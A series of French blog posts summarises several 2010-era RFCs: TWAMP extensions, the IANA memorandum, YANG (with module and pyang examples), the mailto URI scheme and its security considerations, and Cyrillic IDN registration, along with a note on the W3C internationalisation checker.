Première rédaction de cet article le 11 octobre 2010


Voici deux petites extensions au protocole de mesure active TWAMP. L'une permet de demander le renvoi d'octets choisis par le client. L'autre permet de garantir l'usage de paquets de même taille dans les deux directions.

L'IETF a deux protocoles de mesure active, OWAMP (One-way Active Measurement Protocol, RFC 4656, unidirectionnel, et TWAMP (Two-Way Active Measurement Protocol, RFC 5357), bidirectionnel. Avec TWAMP, un client peut demander une réponse à des paquets de tests qu'il envoie et en déduire des informations sur le réseau (comme le RTT). Mais le RFC original ne garantit pas grand'chose sur ces paquets de retour (section 4.2.1 du RFC 5357), ce qui peut être gênant dans certains cas. Désormais, le client peut décider d'une partie du contenu des paquets de test, ainsi que de leur taille (sections 1 et 2 du RFC).

La possibilité de réflexion d'octets, choisis par le client, ouvre de nombreuses possibilités à ce dernier comme d'étiqueter les paquets de la manière de son choix, en pouvant relire l'« étiquette » au retour.

La section 4.2.1 du RFC 5357 recommande que le serveur TWAMP choisisse des paquets de réponse qui soient de taille proche de celui des paquets reçus. Mais ce n'était pas une obligation. La nouvelle option indique que le client veut l'égalité des tailles de paquets.

Ces deux options sont signalées par des bits du champ Mode (section 3.1 du RFC 4656) autrefois inutilisés. Un serveur TWAMP correct doit ignorer ces bits s'il ne les connait pas, assurant ainsi la compatibilité des nouveaux clients avec les anciens serveurs.

Les détails pratiques figurent en sections 3 (pour la session de contrôle du test) et 4 (pour celle de test à proprement parler). Les deux nouveaux bits ont été enregistrés dans le registre IANA (voir aussi la section 6). La section 3.2 décrit le format des paquets de l'option « Reflect Octets » qui permet d'indiquer deux octets à réfléchir lors de l'acceptation de la session (ce qui permet de vérifier que le serveur gère bien cette extension). On indique aussi le nombre d'octets (au maximum 65536) à réfléchir lors du test. L'autre option, « Symmetrical Size » n'a pas nécessité de changer le format.

Enfin, la section 4.2 normalise le comportement du réflecteur en présence de ces nouvelles options. Les deux extensions en question sont optionnelles et ne seront pas forcément mises en œuvre par tous les serveurs TWAMP. Il n'existe de toute façon pas encore de mise en œuvre de TWAMP en logiciel libre.


Téléchargez le RFC 6038


L'article seul

RFC 2860: Memorandum of Understanding Concerning the Technical Work of the Internet Assigned Numbers Authority

Date de publication du RFC : Juin 2000
Auteur(s) du RFC : B. Carpenter (IAB), F. Baker (IETF), M. Roberts (ICANN)
Pour information
Première rédaction de cet article le 8 octobre 2010


Dans le grande désordre qu'est la gouvernance de l'Internet, il y a un aspect crucial qui est souvent oublié, c'est celui de la gestion des registres IANA. Les différentes normes de l'Internet, contenues dans les RFC, laissent parfois un certain nombre de paramètres à l'extérieur, dans des registres gérés par l'IANA (cf. RFC 5226.) Ainsi, pour ajouter une valeur possible à l'attribut NAS-port-type de Radius, il n'est pas nécessaire de modifier le RFC 2865 (section 5.41), il suffit, comme le documente le RFC 3575, d'envoyer une demande qui, après instruction, sera enregistrée dans le registre approprié. Mais sur quelle base l'IANA rend t-elle ce service à l'IETF ? Dans quelles conditions ?

Ce RFC 2860 spécifie ces bases et ces conditions. Le texte original date de 2000 et était un MoU entre l'IETF (bien que celle-ci n'ait pas réellement d'existence juridique) et l'ICANN, l'organisme qui gère la « fonction IANA ». (Il a été publié sur le site de l'ICANN.) Le RFC est ainsi signé par les signataires du MoU.

Que dit ce texte indigeste rédigé en langage juridique états-unien ? D'abord, il précise que l'IANA peut gérer d'autres registres, qui ne sont pas sous contrôle de l'IETF, le plus évident étant bien sûr celui des TLD mais la section 4.3 précise que le registre des adresses IP est dans le même cas. Les deux registres les plus critiques ne sont donc pas couverts par cet accord.

Ensuite, le MoU pose le principe (section 4) que l'IANA suivra les demandes de l'IETF si celles-ci sont formalisées dans un RFC (quel que soit le statut de ce dernier). Les éventuels désaccords devront être arbitrés par l'IAB.

Et cela coûte combien ? Rien, dit la section 4.5 : l'IANA accepte de remplir cette tâche gratuitement et s'engage à le faire de manière neutre, en ne prenant en compte que des considérations techniques. On peut penser que simplement rentrer des numéros dans une base de données n'est pas un gros travail mais il est quantitativement non négligeable : à la réunion IETF de Chicago, en juillet 2007, le rapport sur l'activité IANA présenté en séance plénière expliquait que, depuis la réunion précédente en mars à Prague, l'IANA avait eu à évaluer 240 Internet-Drafts (cf. section 4.7, qui décrit cette évaluation), que 84 RFC avaient nécessité une action de sa part (par exemple le RFC 4790), 42 media types et 90 ports avaient été enregistrés. Or, aucune limite quantitative n'est indiquée dans notre RFC 2860. Au moins en théorie, on pourrait imaginer que l'IETF créer un registre d'un milliard d'entrées, avec un million de changements par jour. Gérer un tel registre écroulerait complètement l'IANA, qui n'a pourtant pas officiellement de moyen de s'y opposer. Heureusement que tout ceci est géré par des gens raisonnables.

Et, surtout, ce travail doit être fait avec rigueur et sérieux, les demandes acceptées avec circonspection (certains registres ont peu de place libre) et les données conservées éternellement. Elles doivent en outre être disponibles publiquement, via le Web (contrairement, par exemple, aux registres de l'UIT ; leurs normes sont maintenant accessibles mais leurs registres, non). L'IANA joue donc le rôle d'un notaire ou d'une bibliothèque.

Ce MoU a connu plusieurs mises à jour. La dernière semble dater de janvier 2007 et fixait des SLA, un problème courant car les performances de l'IANA ne sont pas extraordinaires et ont fait l'objet régulièrement de beaucoup de critiques.


Téléchargez le RFC 2860


L'article seul

Tester si son site Web est techniquement internationalisé

Première rédaction de cet article le 7 octobre 2010


Il y avait déjà des validateurs de l'HTML, des validateurs de flux de syndication, et des validateurs de feuille de style CSS (sans compter ceux pour l'accessibilité). Désormais, le webmestre consciencieux a en plus un outil pour vérifier que son site est techniquement internationalisé : http://qa-dev.w3.org/i18n-checker/.

Je dis bien « techniquement internationalisé » car, de même qu'un site Web peut être entièrement en HTML valide et quand même inutilisable, un site Web peut être « techniquement internationalisé » et quand même peu adapté à une audience internationale. Un outil automatique ne peut en effet pas détecter toutes les erreurs classiques d'internationalisation (comme de tenir pour acquis que tout le monde sur Terre connait les sigles nationaux, ou bien les films qui passent en ce moment dans tel pays). L'outil ne dispense donc pas d'un examen manuel, mais il permet de s'assurer que la base technique est correcte.

Pour l'anecdote (et pour donner des exemples concrets) mon blog affichait plusieurs problèmes (dont certains ont été corrigés) :

  • Pas d'attribut lang, seulement xml:lang (A tag uses an xml:lang attribute without an associated lang attribute.) parce que j'avais oublié que tout le monde n'analyse pas le XML comme du XML mais parfois comme du HTML traditionnel. C'est très bien d'étiqueter les pages en indiquant la langue mais il faut le faire correctement. (Voir le RFC 5646 pour plus de détails sur l'étiquetage.)
  • Éléments de présentation utilisés sans précautions (<b> tags found with no class attribute). En effet, les règles de style typographiques peuvent varier selon les pays et utiliser aveuglément <b> et <i> peut mener à des ennuis (cf. Using <b> and <i> elements). Ce n'est pas trop grave dans mon cas, car l'HTML est produit automatiquement, donc un <b> peut être changé en <i> facilement mais, bon, il faudrait quand même le faire plus proprement en indiquant systématiquement une classe pour ces éléments ou, mieux, en n'utilisant plus d'éléments de présentation du tout.

Un autre problème n'avait pas été détecté par le service de validation : des textes auxiliaires (comme l'avertissement en bas de chaque page) étaient systématiquement en français même lorsque l'article était en anglais. Ce genre d'erreurs n'est pas détectable automatiquement. Désormais, j'ai corrigé celle-ci (enfin, pas à 100 %), donc on a tout en français dans les articles en français comme dans ceux en anglais.


L'article seul

RFC 6020: YANG - A data modeling language for the Network Configuration Protocol

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Bjorklund (Tail-f Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF netmod
Première rédaction de cet article le 6 octobre 2010


Le protocole standard Netconf (normalisé dans le RFC 6241) permet de configurer un équipement réseau (par exemple un commutateur) à distance. Netconf fonctionne par des RPC dont les paramètres sont des actions à faire effectuer par l'équipement configuré, ou bien les nouvelles valeurs que peut prendre telle ou telle des variables de configuration de cet équipement. Mais comment savoir quelles actions sont possibles, quelles variables existent, et quelles valeurs elles peuvent prendre ? Jusqu'à présent, cela pouvait se spécifier uniquement dans une documentation en langue naturelle fournie avec l'équipement. Désormais, il est possible de spécifier ces informations dans un langage formel, Yang, que décrit notre RFC.

Ce RFC 6020 est très détaillé, près de deux cents pages. Et je n'ai pas personnellement d'expérience pratique avec Yang. Donc, je ne donne ici qu'un très bref résumé. Un tel survol se trouve également dans la section 4 du RFC : Yang modélise les données qui seront utilisées par Netconf. Ces données sont représentées sous forme arborescente. Yang est modulaire (section 5 du RFC), un module Yang pouvant se référer à d'autres modules. Yang définit un ensemble de types pour décrire les données (section 9 et RFC 6991). Il permet également d'indiquer les contraintes que doivent respecter les données. Yang, langage de haut niveau, ne décrit pas l'encodage utilisé sur le câble.

Yang a donc bien des points communs avec le SMI des RFC 2578 et RFC 2579. Avant Netconf, beaucoup de gens pensaient que toute la gestion des équipements réseau se ferait en SNMP, en s'appuyant sur ce modèle SMI. Si, pour la lecture des variables, SNMP s'est largement imposé, force est de constater que, pour l'écriture de variables et pour les actions, SNMP reste très peu utilisé, au profit de toute une galaxie de mécanismes privés (Web, REST, SSH + CLI, etc), galaxie que Netconf vise à remplacer. Une MIB du SMI peut donc être traduite en Yang, l'inverse n'étant pas vrai (Yang étant plus riche).

La syntaxe de Yang utilise des groupes emboîtés, délimités par des accolades. Mais une syntaxe équivalente, en XML, existe, sous le nom de Yin. Tout module Yang peut être traduit en Yin sans perte et réciproquement (voir la section 11 pour plus de détails sur Yin).

Donc, un engin donné, routeur ou autre équipement qu'on veut gérer, est décrit par des modules Yang. Lorsqu'un serveur Netconf à bord dudit engin met en œuvre un module Yang, cela veut dire qu'il permet de modifier, via Netconf, les variables décrites dans le module (le serveur typique met en œuvre plusieurs modules). Voici le début d'un module possible :

     // Only an example, not a real module. 
     module acme-system {
         namespace "http://acme.example.com/system";
         prefix "acme";

         organization "ACME Inc.";
         contact "joe@acme.example";
         description
             "The module for entities implementing the ACME system.";

         revision 2010-08-05 {
             description "Initial revision.";
         }
...

On l'a dit, Yang est arborescent. Les feuilles de l'arbre (section 4.2.2.1 du RFC) contiennent une valeur particulière, par exemple, ici, le nom de l'engin géré :

       leaf host-name {
           type string;
           description "Hostname for this system";
       }

Ici, leaf est un mot-clé de Yang qui indique une feuille de l'arbre (plus de nœuds en dessous), host-name est le nom que l'auteur du module a donné à une variable, de type « chaîne de caractères ». Lorsqu'un serveur Netconf enverra cette information à un client (ou réciproquement), elle sera encodée en XML ainsi (Netconf utilise XML pour l'encodage des messages) :


       <host-name>my-router.example.com</host-name>

Donc, pour résumer, Yang modélise ce qu'on peut lire ou modifier, Netconf permet de le lire ou de le modifier effectivement.

Par contre, si un nœud de l'arbre Yang n'est pas une feuille, il est désigné par le mot-clé container. Par exemple, il y a ici deux containers emboîtés et une feuille :

     container system {
         container login {
             leaf message {
                 type string;
                 description
                     "Message given at start of login session";
             }
         }
     }

Lorsque Netconf utilise cette donnée, cela ressemblera, sur le câble, à ceci :


     <system>
       <login>
         <message>Good morning</message>
       </login>
     </system>

Yang dispose d'un certain nombre de types pour représenter les données (section 4.2.4 et RFC 6991), mais on peut aussi créer ses types (sections 4.2.5 et 7.3) par exemple ainsi :

     typedef percent {
         type uint8 {
             range "0 .. 100";
         }
         description "Percentage";
     }

     leaf completed {
         type percent;
     }

On a ajouté un intervalle de validité au type prédéfini uint8. Autre exemple, en indiquant une valeur par défaut, et en dérivant d'un type défini dans le module inet :

     typedef listen-ipv4-address {
         type inet:ipv4-address;
         default "0.0.0.0";
     }

Yang a bien d'autres possibilités, décrites en détail dans les sections suivantes. Par exemple, dans un monde idéal, tous les engins mettant en œuvre un module Yang donné géreraient la totalité des variables du module. Mais, comme ce n'est pas forcément le cas, Yang permet des déviations (sections 5.6.3 et 7.18.3). Prenons l'exemple du RFC, un routeur BGP qui suit un module Yang BGP. Le module ne donne pas de limite au nombre de pairs BGP mais un routeur bas de gamme pourrait avoir une limite, disons à 16 pairs. Un client Netconf qui tenterait de configurer un dix-septième pair recevrait donc une erreur. Le mot-clé Yang deviation permettrait audit client de savoir à l'avance en quoi ce routeur particulier dévie du modèle BGP général. Le client Netconf n'aurait donc pas à essayer pour voir, il pourrait savoir à l'avance que l'opération de configuration du dix-septième pair ne marchera pas.

La syntaxe formelle de Yang est décrite en section 6. Elle ressemble à celle de langages de programmation comme C ou à celle de SMIng du RFC 3780 (RFC qui n'a pas eu de succès). Cette syntaxe favorise la lisibilité par des humains, le cahier des charges étant de privilégier les lecteurs, pas les auteurs de modules, ni les programmeurs d'outils Yang. À noter que, comme dans toutes les normes modernes, Yang n'est pas limité à l'ASCII et peut utiliser tout Unicode.

Bien que Yang n'utilise pas XML, il réutilise un langage de ce monde, XPath (sections 6.4 et 7.5.3). XPath sert à indiquer les dépendances entre nœuds de l'arbre.

Yang permet en effet de définir des contraintes (section 8) que doivent respecter les variables, avec la directive must. Par exemple :

         must "ifType != 'ethernet' or " +
              "(ifType = 'ethernet' and ifMTU = 1500)" {
             error-message "An ethernet MTU must be 1500";
         }

Voici un exemple de requête Netconf complète, correspondant à une variable Yang. Soit un équipement muni d'un serveur SSH et d'un serveur Netconf pour sa configuration. Disons que le serveur Netconf met en œuvre la variable Yang port, définie ainsi :

     leaf port {
         type inet:port-number;
         default 22;
         description "The port which the SSH server listens to"
     }

La requête Netconf <edit-config> (RFC 6241, section 7.2) qui configure le serveur SSH pour écouter sur le port 2022 serait :


     <rpc message-id="101"
          xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"
          xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
       <edit-config>
         <target>
           <running/>
         </target>
         <config>
           <system xmlns="http://example.com/schema/config">
             <services>
               <ssh>
                 <port>2022</port>
               </ssh>
             </services>
           </system>
         </config>
       </edit-config>
     </rpc>

Le choix de Yang comme langage standard pour la description des capacités d'un serveur Netconf ne s'était pas fait sans mal. Plusieurs concurrents avaient été envisagés notamment Relax NG, un choix logique puisque Netconf utilise XML. Un langage de description de schémas comme Relax NG semblait donc un choix raisonnable. Parmi les discussions à ce sujet, citons par exemple le débat qui avait eu lieu sur la liste du secteur Applications de l'IETF. Les raisons du choix de Yang, telles que vues par les concepteurs de Yang, sont décrites sur le site officiel du projet mais je trouve cette comparaison très unilatérale.

Un bon tutoriel Netconf, couvrant également Yang, est disponible en http://www.aims-conference.org/issnsm-2008/06-netconf-yang.pdf.

Quelles sont les mises en œuvre de Yang ? Il en existe une liste sur le site officiel. Voyons par exemple l'outil pyang, qui sert à valider des schémas Yang et à les convertir dans d'autres formats. Il ne semble plus maintenu depuis longtemps mais, bon, il marche. Il peut produire du XSD et du RelaxNG - enfin du DSDL mais c'est presque pareil. Voici un exemple de test d'un schéma invalide (leaf a été tapé laf) :


% pyang test.yang
test.yang:11: error: unexpected keyword "laf"

Et, si on corrige :

% pyang test.yang
% 

Maintenant, convertissons en Yin :


% cat test.yang
 module acme-foo {
         namespace "http://acme.example.com/foo";
         prefix "acfoo";

         list interface {
             key "name";
             leaf name {
                 type string;
             }

             leaf mtu {
                 type uint32;
                 description "The MTU of the interface.";
             }
         }
     }

% pyang -fyin test.yang
<?xml version="1.0" encoding="UTF-8"?>
<module name="acme-foo"
        xmlns="urn:ietf:params:xml:ns:yang:yin:1"
        xmlns:acfoo="http://acme.example.com/foo">
  <namespace uri="http://acme.example.com/foo"/>
  <prefix value="acfoo"/>
  <list name="interface">
    <key value="name"/>
    <leaf name="name">
      <type name="string"/>
    </leaf>
    <leaf name="mtu">
      <type name="uint32"/>
      <description>
        <text>The MTU of the interface.</text>
      </description>
    </leaf>
  </list>
</module>

Et voici une conversion du même code en DSL :


% pyang -fdsdl test.yang
<?xml version='1.0' encoding='UTF-8'?>
<grammar datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes"
	 ns="http://acme.example.com/foo"
	 xmlns="http://relaxng.org/ns/structure/1.0"
	 xmlns:a="http://relaxng.org/ns/compatibility/annotations/1.0"
	 xmlns:acfoo="http://acme.example.com/foo"
	 xmlns:dc="http://purl.org/dc/terms"
	 xmlns:dsrl="http://purl.oclc.org/dsdl/dsrl"
	 xmlns:nm="urn:ietf:params:xml:ns:netmod:dsdl-attrib:1"
	 xmlns:sch="http://purl.oclc.org/dsdl/schematron">
  <dc:source>YANG module 'acme-foo' (automatic translation)</dc:source>
<start>
   <zeroOrMore>
      <element name="interface" nm:key="name">
	  <element name="name">
	     <data type="string"/>
	  </element>
	  <optional>
	     <element name="mtu"><a:documentation>The MTU of the interface.</a:documentation>
		<data type="unsignedInt"/>
	     </element>
	  </optional>
       </element>
   </zeroOrMore>
</start>
</grammar>

Outre pyang, il y a bien entendu même un mode Emacs, yang-mode.

Le site officiel du projet, http://www.yang-central.org/, contient beaucoup d'autre information sur Yang. Une version de plus récente de Yang existe aussi, la 1.1, normalisée dans le RFC 7950.


Téléchargez le RFC 6020


L'article seul

RFC 6068: The 'mailto' URI Scheme

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Duerst (Aoyama Gakuin University), L. Masinter (Adobe), J. Zawinski (DNS lounge)
Chemin des normes
Première rédaction de cet article le 5 octobre 2010


Le plan d'URI mailto:, qui permettait d'indiquer une adresse de courrier à contacter, était normalisé dans le RFC 2368. Désormais, il est remplacé par ce RFC 6068, qui introduit notamment la possibilité d'internationalisation des adresses indiquées en paramètre de mailto:.

La plupart des plans d'URI, comme http: ou ftp: permettent de désigner une ressource accessible quelque part sur le Web. mailto: est un cas à part dans la mesure où il sert plutôt à déclencher une action, l'envoi d'un message. L'usage le plus connu du plan mailto: est dans HTML, quand on écrit quelque chose du genre :


<p>N'hésitez pas à <a href="mailto:contact@example.org">signaler</a> tout problème que vous verriez dans ces
pages. Merci d'avance.</p>

et le lecteur verra un lien sur le mot « signaler ». Sélectionnant ce lien, son navigateur lui proposera alors d'envoyer un courrier à contact@example.org (ou bien déléguera cette tâche à un MUA).

La syntaxe formelle des URI mailto: figure en section 2. Outre l'adresse de destination (comme dans l'exemple ci-dessus), la grammaire permet de spécifier des champs qui seront pré-remplis comme Subject: (la grammaire ne met pas de limite sur les noms de ces champs, donc elle peut servir pour tout nouveau champ inventé). Juste après le nom du plan, mailto et le deux-points obligatoire, figure l'adresse du destinataire. Elle est évidemment à la syntaxe normalisée dans le RFC 5322, avec quelques restrictions, notamment l'interdiction des commentaires (dans l'adresse Jean Durand <jean@durand.example>, « Jean Durand » est le commentaire). La section 6 fournit de nombreux exemples, que je reprends ici (parfois un peu adaptés). Par exemple, un URI mailto: de base peut être <mailto:chris@example.com> (en utilisant la convention de l'annexe C du RFC 3986 d'écrire l'URI entre chevrons). Un URI avec sujet peut être <mailto:infobot@example.com?subject=current-issue>.

En théorie, n'importe quel en-tête peut être ainsi spécifié et, par exemple, un logiciel qui archive une liste de diffusion sous forme de page Web (comme Mhonarc) pourrait mettre un In-Reply-To: dans les URI, pour garantir qu'une réponse ne casse pas les fils de discussion. Le RFC cite cet exemple :


<li><a href="mailto:list@example.org?In-Reply-To=%3C3469A91.D10AF4C@example.com%3E">
Foo larger than Bar?</a> 2010-10-04 08:28</li>

C'est très astucieux mais, en 2010, je ne connais aucun archiveur qui fasse cela...

Si on spécifie deux champs dans l'URI mailto:, on les sépare par le & : <mailto:joe@example.com?cc=bob@example.com&subject=hello>.

Bien des caractères qui sont légaux dans une adresse de courrier peuvent poser des problèmes dans un URI. C'est le cas par exemple de %, de /, de ?, etc. Ceux-ci doivent être encodés en « pour-cent », c'est-à-dire que, par exemple, ? devient %3F (la valeur de l'octet en hexadécimal). Ainsi, un URI avec indication du corps du message et un espace dans ce corps peut être <mailto:infobot@example.com?body=send%20current-issue>. Un URI pour écrire à gorby%kremvax@example.com devrait s'écrire <mailto:gorby%25kremvax@example.com>. (Cet exemple du RFC fait référence à une vieille blague Usenet.)

Si les caractères à encoder ne sont pas dans ASCII, c'est leur forme UTF-8 qui est encodée pour-cent, octet par octet. Ainsi, Stéphane devient St%C3%A9phane. Doit-on appliquer le même traitement aux caractères dans la partie « domaine » (à droite du @) de l'adresse, si le domaine est un IDN ? Oui, on peut, en appliquant l'encodage pour-cent à la forme UTF-8. Si l'adresse est druon@académie-française.fr, on peut l'écrire druon@acad%C3%A9mie-fran%C3%A7aise.fr dans un URI mailto: mais il faudra le transformer en Punycode (druon@xn--acadmie-franaise-npb1a.fr) au moment de la composition du message, ce qui garantira que cela fonctionne toujours, même avec des applications anciennes. Un exemple plus sophistiqué est donné en section 6.3 avec le mot japonais nattō, qui s'écrit en Unicode U+7D0D U+8C46. Pour écrire à user@"natto".example.org, on aura alors un URI <mailto:user@%E7%B4%8D%E8%B1%86.example.org?subject=Test&body=NATTO>.

Même les champs supplémentaires indiqués dans l'URI peuvent avoir besoin d'être encodés pour-cent, car leur nom peut contenir des caractères ASCII mais interdits dans un URI. C'est encore plus vrai pour les valeurs des champs, qui ont des chances de contenir des caractères non-ASCII. Ainsi, demander du café (cf. RFC 2324) par courrier se fera avec un URI <mailto:user@example.org?subject=caf%C3%A9>. body pose un cas particulier car ce n'est pas un vrai champ de l'en-tête, c'est un pseudo-champ qui identifie le corps du message. Il peut être en UTF-8 (et donc encodé pour-cent), mais on ne doit pas le stocker en Quoted-Printable ou autres encodages utilisés dans le courrier. De toute façon, ce pseudo-champ est conçu pour de courts messages, pas pour du multimédia compliqué.

Des surencodages peuvent ensuite avoir besoin de s'appliquer, selon le contexte. Ainsi, si un URI mailto: comprend un & (utilisé comme délimiteur de paramètres), il ne posera pas de problème en texte seul mais, en XML, il devra être écrit &amp; (regardez le source XML ou HTML de cet article pour des exemples...).

Après ces détails de syntaxe, le mode d'emploi des URI mailto: (section 3). Les normes sur les URI spécifient leur syntaxe mais en général ne donnent guère de détails sur leur résolution : un URI est avant tout un identificateur. Pour mailto:, l'usage typique est d'envoyer un courrier à l'adresse donnée en paramètre, en incluant les champs supplémentaires donnés dans l'URI.

L'encodage des URI, sujet compliqué, justifie une section entière, la numéro 5. Le RFC 3986 impose un surencodage de certains caractères, que l'on peut trouver dans une adresse, dans un en-tête, ou dans le corps du message. Un exemple typique est l'espace, qui doit être écrit %20. Quant aux fins de ligne, elles doivent suivre la règle de l'Internet et être composées de deux caractères, %0D%0A. Tout logiciel qui produit des URI mailto: doit donc faire attention à encoder ces caractères « spéciaux ». Par exemple, dans un formulaire HTML, il est courant de représenter l'espace par un +. Mais cela peut créer une confusion avec les vrais +, qui peuvent se retrouver dans un URI mailto:, y compris dans l'adresse comme dans l'exemple bill+ietf@example.org que cite le RFC. Bref, l'espace doit être représenté avec %20 et le + par lui-même ou par %2B.

À noter que ce RFC n'inclut pas la possibilité d'utiliser des adresses de courrier complètement internatonalisées, la spécification de celles-ci étant encore marquée « expérimental ». Elle est devenue norme complète en 2012 avec le RFC 6530.

Les changements depuis le RFC 2368 sont rassemblés en section 9 : le principal est évidemment la possibilité d'inclure de l'UTF-8, encodé en pour-cent, possibilité qui ajoute l'internationalisation aux URI mailto:. Le nouveau plan mailto: est désormais enregistré dans le registre des plans, tel que documenté en section 8.

Comme l'utilisation normale d'un URI mailto: est une action (envoyer un message), il faut soigner la sécurité, à laquelle la section 7 est consacrée. L'utilisateur n'est pas forcément conscient de ce qu'il fait (d'autant plus que le texte du lien peut être trompeur, par exemple <a href="mailto:victim@example.com">Envoyez un message à attacker@example.net</a>). Le RFC insiste donc que le logiciel ne doit pas envoyer de message en réaction à un mailto: sans l'accord explicite et informé (affichage du contenu complet, et des en-têtes) de l'utilisateur. Autrement, l'utilisateur risque, sans s'en rendre compte, d'envoyer des messages qui lui vaudront des ennuis (par exemple parce qu'ils contiennent des menaces).

D'autre part, les URI mailto:, étant structurés, se prêtent bien à l'analyse et donc à la récupération automatique. Comme cette récolte a en général pour but l'envoi de spam, il peut être préférable de ne pas utiliser d'URI mailto: (c'est le cas de ce blog pour l'adresse indiquée en bas de chaque page).

Autre problème, la section 4 met en garde contre les en-têtes « dangereux ». Une liste indicative se trouve en section 3, incluant par exemple les en-têtes de routage du courrier comme Apparently-To:. From: est aussi dangereux (car il permet de faire envoyer un message qui ment sur sa source). Le RFC cite ensuite quelques en-têtes « sûrs » : Subject:, Keywords: et le pseudo en-tête body. Si un URI mailto: contient des en-têtes dangereux, le navigateur ne doit pas envoyer le message, ou alors il doit le « censurer » en ne tenant pas compte des dits en-têtes. De toute façon, en pratique, le créateur d'un URI mailto: ne peut pas espérer que les en-têtes autres que Subject: et body soient compris par le navigateur.


Téléchargez le RFC 6068


L'article seul

RFC 5992: Internationalized Domain Names Registration and Administration Guideline for European languages using Cyrillic

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : S. Sharikov (Regtime Ltd), D. Miloshevic (Afilias), J. Klensin
Pour information
Première rédaction de cet article le 5 octobre 2010


Les noms de domaines internationalisés connaissent en ce moment un intérêt particulier, notamment en raison de leur déploiement (très tardif) dans la racine (ainsi, .рф a été ajouté le 12 mai 2010). Plusieurs RFC ont été publiés pour adapter la norme IDN (Internationalized Domain Names) à différentes écritures et/ou langues et notre tout neuf RFC 5992 s'ajoute à la liste, pour le cas de l'alphabet cyrillique.

Contrairement au RFC 5564 qui n'envisageait que le cas d'une seule langue, ce RFC 5992 veut couvrir la plupart des langues qui utilisent aujourd'hui une écriture, la cyrillique. Il s'applique donc au russe mais aussi au bulgare, à l'ukrainien, au serbe, etc.

Parmi toutes les écritures existantes, beaucoup ne servent que pour une seul langue. Ce n'est pas le cas de l'alphabet cyrillique, qui sert pour plusieurs langues slaves mais aussi pour des langues parlées dans l'ancien empire des tsars tel que le same de Kildin ou (bien que cela ne soit plus guère le cas depuis la chute de l'URSS) les langues « asiatiques » comme l'azéri ou le kirghiz. Ce RFC se focalise sur les langues utilisées en Europe, ce qui inclus les langues slaves et le cas particulier du same de Kildin.

À noter que le cyrillique, dérivé de l'alphabet grec, partage avec ce dernier et avec son cousin l'alphabet latin, plusieurs caractères, ce qui peut mener dans certains cas à des confusions. Les problèmes que pourraient poser celles-ci ne sont pas détaillés dans le RFC, qui fait sans doute allusion au FUD comme quoi IDN augmenterait les risques de hameçonnage.

D'autre part, même dans les pays où l'écriture officielle est uniquement en cyrillique, et où son usage domine, on constate également une certaine présence de l'alphabet latin (par exemple pour les sigles techniques, regardez un article d'informatique écrit en russe, pour un exemple voir l'article du Wikipédia russophone sur le Web et ses mentions de HTML). Les utilisateurs souhaiteraient donc parfois pouvoir enregistrer des noms de domaine mêlant les deux alphabets, ce que le RFC déconseille fortement, sans expliquer pourquoi (section 1).

La section 1.1 expose la question des caractères « similaires » (terme impossible à définir rigoureusement, entre autres parce que cela dépend de la police d'affichage). Sans expliquer vraiment le problème, le RFC propose d'utiliser des mécanismes de « variantes » tels que présentés dans les RFC 3743 et RFC 4290.

Place maintenant aux langues et à leurs caractères. La section 2 décrit précisement les caractères nécessaires pour chaque langue. Vingt-trois « caractères de base » sont introduits, car ils sont communs à toutes les langues. Ils vont de U+0430 (а) à U+0448 (le cha, ш), mais avec quelques trous. Ils incluent en outre les chiffres et le tiret. Il suffit donc ensuite de définir pour chaque langue les quelques caractères supplémentaires nécessaires. (On peut noter que la liste utilisée par le registre du .eu a 32 caractères.)

Ainsi, le « serbo-bosnien » utilise les vingt-trois caractères de base plus sept autres, comme le U+045F (« dzhe », џ). Le bulgare n'a pas ce caractère mais se sert entre autres du U+044F (ya, я). Le russe a besoin de trente-trois caractères en tout. Le RFC donne la liste complète pour chaque langue slave. Celles qui ne s'écrivent pas en cyrillique (ou qui ne s'écrivent plus dans cet alphabet, comme le moldave) ont été omises. À noter que, pour certaines langues, il existait déjà une liste officielle des caractères nécessaires. C'est le cas du monténégrin pour lequel la norme gouvernementale est http://www.gov.me/files/1248442673.pdf. En revanche, pour d'autres langues, il semble que l'orthographe ne soit pas complètement stabilisée. C'est le cas de l'ukrainien où les chiffres vont de trente-et-un à trente-quatre caractères (la dernière valeur étant recommandée par le RFC, pour être sûr de tout couvrir). Par exemple, certains affirment que le U+044A (ъ) est nécessaire, d'autres disent qu'il vaut mieux utiliser le U+044C (ь) à la place. (À noter que les linguistes considèrent souvent que certaines langues n'en sont pas réellement, elles ont juste un nom différent pour des raisons politiques. Le monténégrin n'existe ainsi que depuis l'indépendance du Monténégro, tout le monde l'appelait serbe avant...)

Seule langue non-slave du groupe, le same de Kildin fait l'objet de la section 2.4. Son orthographe n'est pas normalisée et son système de sons est complexe, et difficile à rendre en cyrillique. Il faut donc rajouter trente-trois caractères au jeu de base comme par exemple le U+04CE (ӎ). La section 2.4 contient des références vers des sources plus précises sur cette langue et son orthographe, si vous voulez approfondir la question.

Une fois ces listes établies, on peut compiler des tables qui indiquent les caractères autorisés (sections 3 et 4). La section 5 donne le format de la table qui figure dans l'annexe A du RFC : elle comprend au moins ligne de quatre colonnes par caractère. La première colonne indique le point de code Unicode du caractère cyrillique, la seconde son nom, la troisième et la quatrième les points de code et noms d'un caractère latin ou grec qu'on peut confondre avec le caractère cyrillique. Ainsi, U+0430 (le а cyrillique) est indiqué comme confondable avec le petit a latin, U+0061, mais aussi avec l'alpha grec, si on met les deux lettres en majuscules (le +++ dans la première colonne indique que la confusion n'existe qu'en cas de changement de casse). De même, le U+0433 (г, le ge) est indiqué comme proche du petit r, U+0072. Notez qu'il s'agit bien d'une confusion visuelle et pas sémantique. Le U+0440 (р) peut être confondu avec le p latin mais il représente un son complètement différent (proche du r).

